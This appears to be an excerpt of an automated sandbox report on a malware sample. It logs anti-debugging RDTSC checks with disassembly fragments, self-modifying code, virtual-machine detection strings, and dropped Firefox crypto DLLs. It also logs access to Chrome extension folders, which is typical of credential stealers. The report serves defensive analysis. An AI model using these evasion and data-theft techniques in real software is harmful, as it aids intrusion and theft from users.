Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20EFD second address: 4A20F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20F04 second address: 4A20F5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5D53969F1h 0x00000009 sub cx, C4C6h 0x0000000e jmp 00007FE5D53969F1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FE5D53969F0h 0x0000001a add ah, 00000068h 0x0000001d jmp 00007FE5D53969EBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20F5A second address: 4A20F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20F5E second address: 4A20F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20F79 second address: 4A20F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCC4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20F91 second address: 4A20F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A202EF second address: 4A202FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A202FF second address: 4A20303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20303 second address: 4A20324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, bh 0x0000000e jmp 00007FE5D4EEBCC2h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20324 second address: 4A20394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FE5D53969F6h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov di, cx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FE5D53969F8h 0x0000001e adc ah, 00000028h 0x00000021 jmp 00007FE5D53969EBh 0x00000026 popfd 0x00000027 mov di, si 0x0000002a popad 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE5D53969F1h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20177 second address: 4A20193 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20193 second address: 4A20199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20199 second address: 4A201C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE5D4EEBCBEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 mov di, ax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C01ED second address: 49C01F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C01F1 second address: 49C01F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C01F5 second address: 49C01FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C01FB second address: 49C0201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C0201 second address: 49C0205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C0205 second address: 49C0220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dx, 68A0h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C0220 second address: 49C0226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C0226 second address: 49C022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C022A second address: 49C024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5D53969F9h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20516 second address: 4A2051A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A2051A second address: 4A20533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushad 0x0000000a mov ecx, 6026EA63h 0x0000000f mov esi, 0F93C9BFh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov edx, eax 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20533 second address: 4A2058F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FE5D4EEBCBAh 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE5D4EEBCBDh 0x00000015 sub ax, 5216h 0x0000001a jmp 00007FE5D4EEBCC1h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FE5D4EEBCC0h 0x00000026 add si, 4638h 0x0000002b jmp 00007FE5D4EEBCBBh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A2058F second address: 4A20595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A20595 second address: 4A205AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A205AE second address: 4A205B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A205B2 second address: 4A205B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A205B8 second address: 4A20680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5D53969F8h 0x00000009 xor al, FFFFFFF8h 0x0000000c jmp 00007FE5D53969EBh 0x00000011 popfd 0x00000012 mov ebx, esi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push dword ptr [ebp+0Ch] 0x0000001a jmp 00007FE5D53969F2h 0x0000001f push dword ptr [ebp+08h] 0x00000022 pushad 0x00000023 call 00007FE5D53969EEh 0x00000028 mov cx, 7E21h 0x0000002c pop ecx 0x0000002d pushfd 0x0000002e jmp 00007FE5D53969F7h 0x00000033 or al, FFFFFFCEh 0x00000036 jmp 00007FE5D53969F9h 0x0000003b popfd 0x0000003c popad 0x0000003d push E7053391h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FE5D53969F8h 0x0000004b add eax, 676E7478h 0x00000051 jmp 00007FE5D53969EBh 0x00000056 popfd 0x00000057 mov ah, EFh 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A206CC second address: 4A206FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, al 0x0000000b pushad 0x0000000c mov al, bh 0x0000000e movzx eax, bx 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FE5D4EEBCC8h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Special instruction interceptor: First address: 24A665 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Special instruction interceptor: First address: 9E879 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Special instruction interceptor: First address: 2C5B40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 47A665 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 2CE879 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 4F5B40 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

Code function: 7_2_04A2060F rdtsc

7_2_04A2060F

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Window / User API: threadDelayed 1221	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 8045	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1955	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1330	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 853	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 377	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1779	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1349	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Window / User API: threadDelayed 509	Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\j7iUba2bki.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\j7iUba2bki.exe TID: 5720	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe TID: 5720	Thread sleep count: 1221 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3496	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2020	Thread sleep count: 1330 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2020	Thread sleep time: -2661330s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5328	Thread sleep count: 853 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5328	Thread sleep time: -1706853s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5380	Thread sleep count: 377 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5380	Thread sleep time: -11310000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7316	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5248	Thread sleep count: 1779 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5248	Thread sleep time: -3559779s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 4276	Thread sleep count: 1349 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 4276	Thread sleep time: -2699349s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe TID: 7380	Thread sleep count: 509 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe TID: 7380	Thread sleep count: 266 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C32C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C32C930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: GDHIIIIE.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GDHIIIIE.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: GDHIIIIE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
